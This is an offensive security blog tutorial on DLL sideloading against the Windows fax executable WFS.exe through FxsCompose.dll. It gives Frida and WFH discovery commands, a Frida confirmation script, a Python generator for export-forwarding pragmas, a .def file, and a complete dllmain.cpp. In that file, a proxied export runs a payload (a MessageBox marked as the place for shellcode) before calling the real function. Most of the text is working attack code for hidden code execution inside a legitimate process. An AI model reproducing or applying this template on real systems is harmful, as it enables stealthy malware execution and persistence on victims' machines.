Links
Comment on page

DLL Sideloading not by DLLMain

Never run your payloads from the DLLMain

Identifying potential hijacks

DLL sideloading is a technique that attackers can use to inject malicious code into a legitimate process by replacing or "sideloading" a dynamic-link library (DLL) that the process is dependent on. This can be a serious security concern because it allows attackers to execute arbitrary code on a victim's machine without the victim's knowledge.
To identify potential DLL sideloading hijacks, there are a few approaches you can take. One option is to use the WFH (Windows Function Hijacking) tool, which is specifically designed to detect DLL function hijacks. WFH is able to identify both DLLMain hijacks and GetProcAddress hijacks.
Alternatively, you can manually detect DLL sideloading hijacks using the Frida tool. To do this, you can use the Frida command line interface to attach to a running executable and then use a JavaScript script called "loadlibrary.js" (comes with WFH tool) to monitor for DLL loads.
To run WFH or Frida to detect DLL sideloading hijacks, you can use the following commands:
Frida
frida -f C:\Windows\System32\<any.exe> -l loadlibrary.js
python wfh.py -t C:\Windows\System32<any.exe> -m dll
When using either of these tools, you should be on the lookout for the following string of text in the output or log file, as it indicates a potential DLL export sideloading attack:
[-] Potential DllExport Sideloading: GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\FxsCompose.dll, LPCSTR: HrInitComposeFormDll
In this blogpost, we'll be hijacking WFS.exe which is present in Windows 11 operating system (if Windows fax service is enabled)

Is that function really called

It is worth noting that the GetProcAddress functions listed in the output above may not always indicate a DLL sideloading attack. This can happen because the function call may have been prepared in advance using GetProcAddress, but the function was never actually called due to the arguments passed or the executable taking a different code path.
To find for sure if the function was called (which would result in DLL sideload) we will use another frida script as below
sure.js
1
// to make sure the dll is loaded before the function intercept is introduced
2
const dllName = "C:\\WINDOWS\\SYSTEM32\\FxsCompose.dll";
3
Module.load(dllName);
4
​
5
//find the address of the function
6
var pHrInitComposeFormDll = Module.findExportByName("FxsCompose.dll","HrInitComposeFormDll");
7
​
8
​
9
//intercept the call
10
Interceptor.attach(pHrInitComposeFormDll, {
11
onEnter: function (args) {
12
send("The function was called")
13
},
14
onLeave: function (retval) {
15
}
16
});
To load this use the following command . Make note of --pause argument. The argument is used to pause the execution of the exe, allowing the script to load properly before exe runs
frida -f C:\Windows\System32\WFS.exe -l sure.js --pause
after running this, you will be in a pause state in frida console . Use the following command in frida console to continue execution of executable
%resume
If you see the string "The function was called" in the output, it means that the function has been called and the DLL sideload will function as expected. This is a confirmation that the DLL sideloading attack was successful.
Frida DLL sideload confirmation
We see that the string "The function was called", which confirms the presence of DLL sideload.

Making a Sideloadable DLL

This is the point where many people just insert their payload into the DLLMain function and consider the task complete.
Here's how to do it quickly and correctly

Step 1: Create a DLL project

Make a DLL project
Give it the name of DLL

Step 2: You will see a blank project like below

Blank DLL Project

Step 3: Create the pragma comment for proxying the calls to the original DLL. Use the following script to generate them quickly

comment.py
1
import pefile
2
import optparse
3
import os
4
​
5
def test(path):
6
if os.path.exists(path)==False:
7
print("[-] File Not Found:{}".format(path))
8
else:
9
dllname=str(path).rstrip(".dll")
10
formats="#pragma comment(linker,\"/export:{funcion}={dllname}.{funcion_},@{ordinal}\")"
11
pe=pefile.PE(path)
12
modules=pe.DIRECTORY_ENTRY_EXPORT.symbols
13
for module in modules:
14
modulename=module.name.decode()
15
print(formats.format(funcion=modulename,dllname=dllname,funcion_=modulename,ordinal=module.ordinal))
16
​
17
if __name__ == '__main__':
18
parser=optparse.OptionParser()
19
parser.add_option('-f',dest="file",help="Dll Path")
20
(option,args)=parser.parse_args()
21
if option.file:
22
test(option.file)
23
else:
24
print("Usage:python comment.py -f C:\\Windows\\System\\kernel32.dll")
25
parser.print_help()
Run the script as follows
python comment.py -f C:\\WINDOWS\\SYSTEM32\\FxsCompose.dll
You will receive the following output
#pragma comment(linker,"/export:DllMain=C:\\WINDOWS\\SYSTEM32\\FxsCompose.DllMain,@15")
#pragma comment(linker,"/export:FaxComposeFreeBuffer=C:\\WINDOWS\\SYSTEM32\\FxsCompose.FaxComposeFreeBuffer,@1")
#pragma comment(linker,"/export:HrAddressBookPreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrAddressBookPreTranslateAccelerator,@2")
#pragma comment(linker,"/export:HrDeInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeInitAddressBook,@3")
#pragma comment(linker,"/export:HrDeinitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeinitComposeFormDll,@4")
#pragma comment(linker,"/export:HrFaxComposePreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFaxComposePreTranslateAccelerator,@5")
#pragma comment(linker,"/export:HrFreeDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFreeDraftsListViewInfo,@6")
#pragma comment(linker,"/export:HrGetDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrGetDraftsListViewInfo,@7")
#pragma comment(linker,"/export:HrInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitAddressBook,@8")
#pragma comment(linker,"/export:HrInitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitComposeFormDll,@9")
#pragma comment(linker,"/export:HrInvokeAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInvokeAddressBook,@10")
#pragma comment(linker,"/export:HrNewFaxComposeUI=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUI,@11")
#pragma comment(linker,"/export:HrNewFaxComposeUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUIFromFile,@12")
#pragma comment(linker,"/export:HrNewTiffViewUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewTiffViewUIFromFile,@13")
#pragma comment(linker,"/export:HrSelectEmailRecipient=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrSelectEmailRecipient,@14")
​

Step 4: Copy the lines to the project

Step 5: Comment the function which we want to hijack which is HrInitComposeFormDll

Step 6: Find the function prototype

Use Ghidra, load the DLL and find the function in the export table
Ghidra decomplication of FxsCompose.dll
Copy the function definition and keep it handy

Step 7: Define the proxy function in the def file

Make a def file and provide the following text
Add new item
Provide a name
Put the following contents
FxsCompose.def
1
LIBRARY FxsCompose.dll
2
EXPORTS
3
HrInitComposeFormDll=ProxyFunction
Line number 3 defines the function name to redirect the call to when HrInitComposeFormDll is called
Add the module definition setting in Visual Studio
Adding module definition file

Step 8: Make the proxy function

Before we add the proxy function, we need to make a typedef of the original function(HrInitComposeFormDll). This is required to pass the call to the original HrInitComposeFormDll once we load our payload
the typedef is very similar to the function definition we saw in the Ghidra decompilation
typedef DWORD (*HrInitComposeFormDll_Type)(void);
the format is
typedef <output type> (*functionname_Type)(functionArguments)
Put this line after the pragma comments like we previously added to dllmain.cpp
Now its time to define the ProxyFunction . Again the prototype should be very similar to the original HrInitComposeFormDll function definition
DWORD ProxyFunction(void) {
​
//Load your shellcode here.. I'm going to load MessageBox
MessageBox(NULL, L"Shellcode Loaded", L"Shellcode Loaded", MB_OK);
​
// Load original DLL and get function pointer
HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\FxsCompose.dll");
HrInitComposeFormDll_Type Original_HrInitComposeFormDll = (HrInitComposeFormDll_Type)GetProcAddress(hModule, "HrInitComposeFormDll");
​
// Call original function
DWORD result = Original_HrInitComposeFormDll();
​
return result;
}

Below is the full dllmain.cpp code and FxsCompose.def

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
​
​
#pragma comment(linker,"/export:DllMain=C:\\WINDOWS\\SYSTEM32\\FxsCompose.DllMain,@15")
#pragma comment(linker,"/export:FaxComposeFreeBuffer=C:\\WINDOWS\\SYSTEM32\\FxsCompose.FaxComposeFreeBuffer,@1")
#pragma comment(linker,"/export:HrAddressBookPreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrAddressBookPreTranslateAccelerator,@2")
#pragma comment(linker,"/export:HrDeInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeInitAddressBook,@3")
#pragma comment(linker,"/export:HrDeinitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeinitComposeFormDll,@4")
#pragma comment(linker,"/export:HrFaxComposePreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFaxComposePreTranslateAccelerator,@5")
#pragma comment(linker,"/export:HrFreeDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFreeDraftsListViewInfo,@6")
#pragma comment(linker,"/export:HrGetDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrGetDraftsListViewInfo,@7")
#pragma comment(linker,"/export:HrInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitAddressBook,@8")
//#pragma comment(linker,"/export:HrInitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitComposeFormDll,@9")
#pragma comment(linker,"/export:HrInvokeAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInvokeAddressBook,@10")
#pragma comment(linker,"/export:HrNewFaxComposeUI=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUI,@11")
#pragma comment(linker,"/export:HrNewFaxComposeUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUIFromFile,@12")
#pragma comment(linker,"/export:HrNewTiffViewUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewTiffViewUIFromFile,@13")
#pragma comment(linker,"/export:HrSelectEmailRecipient=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrSelectEmailRecipient,@14")
​
typedef DWORD(*HrInitComposeFormDll_Type)(void);
​
DWORD ProxyFunction(void) {
​
//Load your shellcode here.. I'm going to load MessageBox
MessageBox(NULL, L"Shellcode Loaded", L"Shellcode Loaded", MB_OK);
​
// Load original DLL and get function pointer
HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\FxsCompose.dll");
HrInitComposeFormDll_Type Original_HrInitComposeFormDll = (HrInitComposeFormDll_Type)GetProcAddress(hModule, "HrInitComposeFormDll");
​
// Call original function
DWORD result = Original_HrInitComposeFormDll();
​
return result;
}
​
​
​
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
​
​
FxsCompose.def
1
LIBRARY FxsCompose.dll
2
EXPORTS
3
HrInitComposeFormDll=ProxyFunction

Compile the DLL

You can include /MT or /MD flag optionally
Setting Runtime Library
Compile the release DLL

Running the DLL Sideload

Copy the exe and the DLL in one folder
run the exe

Project Files

​